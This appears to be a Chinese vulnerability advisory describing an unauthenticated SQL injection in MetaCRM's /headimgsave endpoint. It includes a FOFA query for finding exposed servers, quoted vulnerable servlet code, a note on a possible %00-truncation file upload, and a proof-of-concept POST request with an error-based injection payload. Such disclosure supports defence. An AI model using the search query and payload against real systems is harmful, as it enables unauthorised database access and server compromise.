漏洞简介
MetaCRM是一款智能平台化CRM软件,通过提升企业管理和协同办公,全面提高企业管理水平和运营效率,帮助企业实现卓越管理。美特CRM headimgsave 接口存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。
影响版本
fofa语法
body="/common/scripts/basic.js" && body="www.metacrm.com.cn"
漏洞分析
先看下 web.xml 里对headimgsave的相关定义
<servlet>
<servlet-name>ImgController</servlet-name>
<servlet-class>com.metasoft.wxsconf.headimg.ImgController</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>ImgController</servlet-name>
<url-pattern>/headimgsave</url-pattern>
</servlet-mapping>
跟进ImgController看下其实现逻辑
public class ImgController extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
this.doProcess(request, response);
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
this.doProcess(request, response);
}
public void doProcess(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
Connection conn = null;
try {
conn = ResManager.getConnection("default", true);
UserState us = new UserState();
JSONObject result = new JSONObject();
String headimgurl = request.getParameter("headimgurl");
String accountid = request.getParameter("accountid");
AccountPO ao = new AccountPO(conn, us);
if (ao.getAc(accountid)) {
if (ao.checkImg(accountid)) {
result.put("message", "头像已有");
} else {
saveHeadImg(headimgurl, accountid);
ao.upHeadImg(accountid);
result.put("message", "头像保存成功");
}
} else {
result.put("message", "会员不存在");
}
通过request.getParameter获取到参数accountid后会先进入getAc方法然后进入checkImg方法,跟进看下其实现逻辑
public boolean getAc(String id) throws SQLException {
if (StringUtil.isEmpty(id)) {
return false;
} else {
String sql = "select id from account where id='" + id + "'";
DomainObject[] data = this.findDomain(sql, 0, 0);
return data != null && data.length > 0;
}
}
public boolean checkImg(String id) throws SQLException {
if (StringUtil.isEmpty(id)) {
return false;
} else {
String sql = "select headimg from account where id='" + id + "'";
DomainObject[] data = this.findDomain(sql, 0, 0);
从它的实现可以很清楚的看到参数id被直接拼接进SQL语句中后执行,没有对参数有任何过滤或校验,从而导致SQL注入漏洞.
同时此处或许还存在任意内容上传,通过上面的注入让其结果返回false进入saveHeadImg,可上传任意内容,如果jdk版本低于1.7 还可以通过%00截断保存任意后缀文件.

漏洞复现
POST /headimgsave HTTP/1.1
Host: metasoft.mrxn.net
Content-Type: application/x-www-form-urlencoded
accountid=1'and 1<@@VERSION--

通过报错注入,成功在响应里回显数据库版本信息

